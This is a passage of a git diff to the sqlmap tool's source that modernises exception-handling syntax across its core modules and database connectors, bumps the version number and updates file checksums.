except cookielib.LoadError, msg: + except cookielib.LoadError as ex: errMsg = "there was a problem loading " - errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", str(msg)) + errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", getSafeExString(ex)) raise SqlmapGenericException(errMsg) def decloakToTemp(filename): @@ -4738,8 +4738,6 @@ def getSafeExString(ex, encoding=None): u'foobar' """ - retVal = ex - if getattr(ex, "message", None): retVal = ex.message elif getattr(ex, "msg", None): @@ -4748,6 +4746,8 @@ def getSafeExString(ex, encoding=None): retVal = ex[1] elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], basestring): retVal = ex[0] + else: + retVal = str(ex) return getUnicode(retVal or "", encoding=encoding).strip() diff --git a/lib/core/dump.py b/lib/core/dump.py index f7bf54a270c..2ef7e240746 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -429,7 +429,7 @@ def dbTableValues(self, tableValues): except Exception as ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmapdb") - except IOError, _: + except IOError as _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " diff --git a/lib/core/option.py b/lib/core/option.py index 9d71014f55c..3e1270b13f0 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -846,8 +846,8 @@ def _setWafFunctions(): if filename[:-3] in sys.modules: del sys.modules[filename[:-3]] module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) - except ImportError, msg: - raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg)) + except ImportError as ex: + raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], getSafeExString(ex))) _ = dict(inspect.getmembers(module)) if "detect" not in _: @@ -1195,7 +1195,7 @@ def _setHTTPAuthentication(): elif authType == AUTH_TYPE.NTLM: regExp = "^(.*\\\\.*):(.*?)$" errMsg = "HTTP NTLM authentication credentials value must " - errMsg += "be in format 'DOMAIN\username:password'" + errMsg += "be in format 'DOMAIN\\username:password'" elif authType == AUTH_TYPE.PKI: errMsg = "HTTP PKI authentication require " errMsg += "usage of option `--auth-pki`" @@ -2136,9 +2136,9 @@ def _setDNSServer(): try: conf.dnsServer = DNSServer() conf.dnsServer.run() - except socket.error, msg: + except socket.error as ex: errMsg = "there was an error while setting up " - errMsg += "DNS server instance ('%s')" % msg + errMsg += "DNS server instance ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) else: errMsg = "you need to run sqlmap as an administrator " diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 44d91bc8ba8..95cca002ae5 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -9,6 +9,7 @@ import os import cProfile +from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.data import logger from lib.core.data import paths @@ -25,8 +26,8 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): from thirdparty.xdot import xdot import gtk import pydot - except ImportError, e: - errMsg = "profiling requires third-party libraries ('%s') " % getUnicode(e, UNICODE_ENCODING) + except ImportError as ex: + errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex) errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')" logger.error(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6b0d761170b..96fba4f31f9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.62" +VERSION = "1.3.1.63" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/shell.py b/lib/core/shell.py index 6cf7640b335..3f18488a34b 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -9,6 +9,7 @@ import os from lib.core import readlineng as readline +from lib.core.common import getSafeExString from lib.core.data import logger from lib.core.data import paths from lib.core.enums import AUTOCOMPLETE_TYPE @@ -75,8 +76,8 @@ def saveHistory(completion=None): readline.set_history_length(MAX_HISTORY_LENGTH) try: readline.write_history_file(historyPath) - except IOError, msg: - warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg) + except IOError as ex: + warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) logger.warn(warnMsg) except KeyboardInterrupt: pass @@ -99,8 +100,8 @@ def loadHistory(completion=None): if os.path.exists(historyPath): try: readline.read_history_file(historyPath) - except IOError, msg: - warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, msg) + except IOError as ex: + warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) logger.warn(warnMsg) def autoCompletion(completion=None, os=None, commands=None): diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index b6fc19cfde4..43092213929 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -31,7 +31,7 @@ def blockingReadFromFD(fd): while True: try: output += os.read(fd, 8192) - except (OSError, IOError), ioe: + except (OSError, IOError) as ioe: if ioe.args[0] in (errno.EAGAIN, errno.EINTR): # Uncomment the following line if the process seems to # take a huge amount of cpu time @@ -52,7 +52,7 @@ def blockingWriteToFD(fd, data): try: data_length = len(data) wrote_data = os.write(fd, data) - except (OSError, IOError), io: + except (OSError, IOError) as io: if io.errno in (errno.EAGAIN, errno.EINTR): continue else: @@ -95,8 +95,8 @@ def send(self, input): (errCode, written) = WriteFile(x, input) except ValueError: return self._close('stdin') - except (subprocess.pywintypes.error, Exception), why: - if why[0] in (109, errno.ESHUTDOWN): + except (subprocess.pywintypes.error, Exception) as ex: + if ex[0] in (109, errno.ESHUTDOWN): return self._close('stdin') raise @@ -116,8 +116,8 @@ def _recv(self, which, maxsize): (errCode, read) = ReadFile(x, nAvail, None) except (ValueError, NameError): return self._close(which) - except (subprocess.pywintypes.error, Exception), why: - if why[0] in (109, errno.ESHUTDOWN): + except (subprocess.pywintypes.error, Exception) as ex: + if ex[0] in (109, errno.ESHUTDOWN): return self._close(which) raise @@ -134,8 +134,8 @@ def send(self, input): try: written = os.write(self.stdin.fileno(), input) - except OSError, why: - if why[0] == errno.EPIPE: # broken pipe + except OSError as ex: + if ex[0] == errno.EPIPE: # broken pipe return self._close('stdin') raise diff --git a/lib/core/target.py b/lib/core/target.py index 91bbe754c65..fb78e1043d3 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -427,8 +427,8 @@ def _setHashDB(): try: os.remove(conf.hashDBFile) logger.info("flushing session file") - except OSError, msg: - errMsg = "unable to flush the session file (%s)" % msg + except OSError as ex: + errMsg = "unable to flush the session file ('%s')" % getSafeExString(ex) raise SqlmapFilePathException(errMsg) conf.hashDB = HashDB(conf.hashDBFile) @@ -566,7 +566,7 @@ def _setResultsFile(): conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename logger.warn(warnMsg) - except IOError, _: + except IOError as _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 3b81f98e260..927eaa2b0a0 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -897,8 +897,8 @@ def _(self, *args): return args - except (OptionError, TypeError), e: - parser.error(e) + except (OptionError, TypeError) as ex: + parser.error(ex) except SystemExit: # Protection against Windows dummy double clicking diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index a8d19e24eca..60c3af1ce7b 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -141,8 +141,8 @@ def http_error_302(self, req, fp, code, msg, headers): try: result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) - except urllib2.HTTPError, e: - result = e + except urllib2.HTTPError as ex: + result = ex # Dirty hack for http://bugs.python.org/issue15701 try: @@ -154,7 +154,7 @@ def _(self): if not hasattr(result, "read"): def _(self, length=None): - return e.msg + return ex.msg result.read = types.MethodType(_, result) if not getattr(result, "url", None): diff --git a/lib/utils/search.py b/lib/utils/search.py index 872558cd0e2..9b171b4b526 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -88,12 +88,12 @@ def _search(dork): responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - except urllib2.HTTPError, e: + except urllib2.HTTPError as ex: try: - page = e.read() - except Exception as ex: + page = ex.read() + except Exception as _: warnMsg = "problem occurred while trying to get " - warnMsg += "an error page information (%s)" % getSafeExString(ex) + warnMsg += "an error page information (%s)" % getSafeExString(_) logger.critical(warnMsg) return None except (urllib2.URLError, httplib.error, socket.error, socket.timeout, socks.ProxyError): @@ -150,13 +150,13 @@ def _search(dork): responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - except urllib2.HTTPError, e: + except urllib2.HTTPError as ex: try: - page = e.read() - page = decodePage(page, e.headers.get("Content-Encoding"), e.headers.get("Content-Type")) + page = ex.read() + page = decodePage(page, ex.headers.get("Content-Encoding"), ex.headers.get("Content-Type")) except socket.timeout: warnMsg = "connection timed out while trying " - warnMsg += "to get error page information (%d)" % e.code + warnMsg += "to get error page information (%d)" % ex.code logger.critical(warnMsg) return None except: diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index ff10504a217..e2d640a5dcf 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -43,8 +43,8 @@ def connect(self): try: self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db) - except (pyodbc.Error, pyodbc.OperationalError), msg: - raise SqlmapConnectionException(getSafeExString(msg)) + except (pyodbc.Error, pyodbc.OperationalError) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() @@ -52,17 +52,17 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except pyodbc.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) + except pyodbc.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) - except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) - except pyodbc.Error, msg: - raise SqlmapConnectionException(getSafeExString(msg)) + except (pyodbc.OperationalError, pyodbc.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except pyodbc.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index a1906dc7c5e..fc6051de1f6 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -35,8 +35,8 @@ def connect(self): try: database = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) - except ibm_db_dbi.OperationalError, msg: - raise SqlmapConnectionException(msg) + except ibm_db_dbi.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() @@ -44,17 +44,17 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except ibm_db_dbi.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) + except ibm_db_dbi.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) - except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) - except ibm_db_dbi.InternalError, msg: - raise SqlmapConnectionException(getSafeExString(msg)) + except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + except ibm_db_dbi.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 75928066671..7faeee24616 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -35,8 +35,8 @@ def connect(self): try: database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) - except ibm_db_dbi.OperationalError, msg: - raise SqlmapConnectionException(getSafeExString(msg)) + except ibm_db_dbi.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() @@ -44,17 +44,17 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except ibm_db_dbi.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) + except ibm_db_dbi.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) - except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) - except ibm_db_dbi.InternalError, msg: - raise SqlmapConnectionException(getSafeExString(msg)) + except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except ibm_db_dbi.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index ff8167bc108..4a5dd8f8a12 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -13,6 +13,7 @@ import logging +from lib.core.common import getSafeExString from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger @@ -41,8 +42,8 @@ def connect(self): try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) - except (pymssql.Error, _mssql.MssqlDatabaseException), msg: - raise SqlmapConnectionException(msg) + except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) except ValueError: raise SqlmapConnectionException @@ -52,8 +53,8 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except (pymssql.Error, _mssql.MssqlDatabaseException), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) + except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None def execute(self, query): @@ -62,10 +63,10 @@ def execute(self, query): try: self.cursor.execute(utf8encode(query)) retVal = True - except (pymssql.OperationalError, pymssql.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) - except pymssql.InternalError, msg: - raise SqlmapConnectionException(msg) + except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) + except pymssql.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) return retVal diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 8b64f322a37..b40f7665f70 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -38,8 +38,8 @@ def connect(self): try: self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) - except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error), msg: - raise SqlmapConnectionException(getSafeExString(msg)) + except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() @@ -47,8 +47,8 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except pymysql.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) + except pymysql.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): @@ -57,10 +57,10 @@ def execute(self, query): try: self.cursor.execute(query) retVal = True - except (pymysql.OperationalError, pymysql.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) - except pymysql.InternalError, msg: - raise SqlmapConnectionException(getSafeExString(msg)) + except (pymysql.OperationalError, pymysql.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except pymysql.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 7485653488a..03728a5da76 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -14,6 +14,7 @@ import os import re +from lib.core.common import getSafeExString from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger @@ -44,16 +45,16 @@ def connect(self): self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) logger.info("successfully connected as SYSDBA") except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError) as ex: - if "Oracle Client library" in str(ex): - msg = re.sub(r"DPI-\d+:\s+", "", str(ex)) + if "Oracle Client library" in getSafeExString(ex): + msg = re.sub(r"DPI-\d+:\s+", "", getSafeExString(ex)) msg = re.sub(r': ("[^"]+")', r" (\g<1>)", msg) msg = re.sub(r". See (http[^ ]+)", r'. See "\g<1>"', msg) raise SqlmapConnectionException(msg) try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg: - raise SqlmapConnectionException(msg) + except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError) as ex: + raise SqlmapConnectionException(ex) self.initCursor() self.printConnected() @@ -61,8 +62,8 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except cx_Oracle.InterfaceError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg) + except cx_Oracle.InterfaceError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): @@ -71,8 +72,8 @@ def execute(self, query): try: self.cursor.execute(utf8encode(query)) retVal = True - except cx_Oracle.DatabaseError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg) + except cx_Oracle.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index ac35c24b5f8..2b8f4a01ed1 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -13,6 +13,7 @@ except: pass +from lib.core.common import getSafeExString from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector @@ -36,8 +37,8 @@ def connect(self): try: self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) - except psycopg2.OperationalError, msg: - raise SqlmapConnectionException(msg) + except psycopg2.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.set_client_encoding('UNICODE') @@ -47,8 +48,8 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except psycopg2.ProgrammingError, msg: - logger.warn(msg) + except psycopg2.ProgrammingError as ex: + logger.warn(getSafeExString(ex)) return None def execute(self, query): @@ -57,10 +58,10 @@ def execute(self, query): try: self.cursor.execute(query) retVal = True - except (psycopg2.OperationalError, psycopg2.ProgrammingError), msg: - logger.warn(("(remote) %s" % msg).strip()) - except psycopg2.InternalError, msg: - raise SqlmapConnectionException(msg) + except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: + logger.warn(("(remote) '%s'" % getSafeExString(ex)).strip()) + except psycopg2.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index c406d2e07b2..82c0f3d5aa7 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -12,6 +12,7 @@ import logging +from lib.core.common import getSafeExString from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger @@ -45,7 +46,7 @@ def connect(self): cursor.execute("SELECT * FROM sqlite_master") cursor.close() - except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: + except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError): warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2" logger.warn(warnMsg) @@ -59,8 +60,8 @@ def connect(self): self.__sqlite = sqlite self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) - except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: - raise SqlmapConnectionException(msg[0]) + except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() @@ -68,17 +69,17 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except self.__sqlite.OperationalError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0]) + except self.__sqlite.OperationalError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(utf8encode(query)) - except self.__sqlite.OperationalError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0]) - except self.__sqlite.DatabaseError, msg: - raise SqlmapConnectionException(msg[0]) + except self.__sqlite.OperationalError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + except self.__sqlite.DatabaseError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 3c7e37e78e0..5007d2c9246 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -13,6 +13,7 @@ import logging +from lib.core.common import getSafeExString from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger @@ -41,8 +42,8 @@ def connect(self): try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) - except (pymssql.Error, _mssql.MssqlDatabaseException), msg: - raise SqlmapConnectionException(msg) + except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: + raise SqlmapConnectionException(ex) except ValueError: raise SqlmapConnectionException @@ -52,8 +53,8 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except (pymssql.Error, _mssql.MssqlDatabaseException), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) + except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None def execute(self, query): @@ -62,10 +63,10 @@ def execute(self, query): try: self.cursor.execute(utf8encode(query)) retVal = True - except (pymssql.OperationalError, pymssql.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) - except pymssql.InternalError, msg: - raise SqlmapConnectionException(msg) + except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) + except pymssql.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) return retVal diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 67ed787d639..1b632cb39d8 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -21,7 +21,7 @@ a32e12410e0f86c1d035db6daae84680 extra/shutils/duplicates.py fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py 4f82e97b09cc530cb9a92472d0835cea extra/sqlharvest/sqlharvest.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py -d62ae3224aca6a9496b35583db61412a extra/wafdetectify/wafdetectify.py +aec73042403993076f478da48066a79e extra/wafdetectify/wafdetectify.py ec782b9cdb8d857a80b6ecf0f32db7f4 lib/controller/action.py d099724a49c5fd6b0dca8c777e82604e lib/controller/checks.py c4d559a98cfc62b401ef7e0bfab782f0 lib/controller/controller.py @@ -29,30 +29,30 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py 44ac129c1b3b6130b4f1bc7b93036278 lib/core/bigarray.py -34906c544d5c1060eecb2277b2c218d3 lib/core/common.py +981783b71439d82e84b47fb9b9a88164 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py db60c6ebb63b72ed119e304b359fc1a6 lib/core/datatype.py b7c912e2af7a3354f6d7c04f556a80b2 lib/core/decorators.py 5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py 9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py -d9a9783b417a6c34f177272596904bdc lib/core/dump.py +fd5403505f76eee6829c06b9342e269c lib/core/dump.py 5c91145204092b995ed1ac641e9e291d lib/core/enums.py 84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -95f9836ad46146537cc16f918a002118 lib/core/option.py +3c5c2c63e67b40ca8ae9b1ffa8d7f77d lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py -0f1d79ada721cf6def611b21b03d68af lib/core/profiling.py +4cfda3735871cd59b213470a0bbc8c3a lib/core/profiling.py 5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -0013f0712973543735d356560295a047 lib/core/settings.py -a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py -5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py -072c08d834d01b33e5f39320dcf67a0d lib/core/target.py +9adcbe4eb038933aa8f9ef13f288dde6 lib/core/settings.py +4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py +10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py +9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py 7857b24b7865ccb4a05283faa596974d lib/core/testing.py 203d2082929b4ac5454605c8c7c800a9 lib/core/threads.py 2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py @@ -60,7 +60,7 @@ ff45c74515fecc95277f7b9ad945f17c lib/core/update.py b40f4c20a38729bb4933b8221665f106 lib/core/wordlist.py fb6be55d21a70765e35549af2484f762 lib/__init__.py 4881480d0c1778053908904e04570dc3 lib/parse/banner.py -f60469363c303b86255246e5a9604ba3 lib/parse/cmdline.py +87a1d50411e74cd0afb2d1bed30f59d4 lib/parse/cmdline.py 06ccbccb63255c8f1c35950a4c8a6f6b lib/parse/configfile.py 9b33e52f697d6e915c7a10153562ce89 lib/parse/handler.py 43deb2400e269e602e916efaec7c0903 lib/parse/headers.py @@ -80,7 +80,7 @@ fb6be55d21a70765e35549af2484f762 lib/request/__init__.py 52a067bd2fe91ea9395269a684380cbb lib/request/methodrequest.py ac482ec52227daf48f523827dd67078f lib/request/pkihandler.py 16ff6e078819fe517b1fc0ae3cbc1aa8 lib/request/rangehandler.py 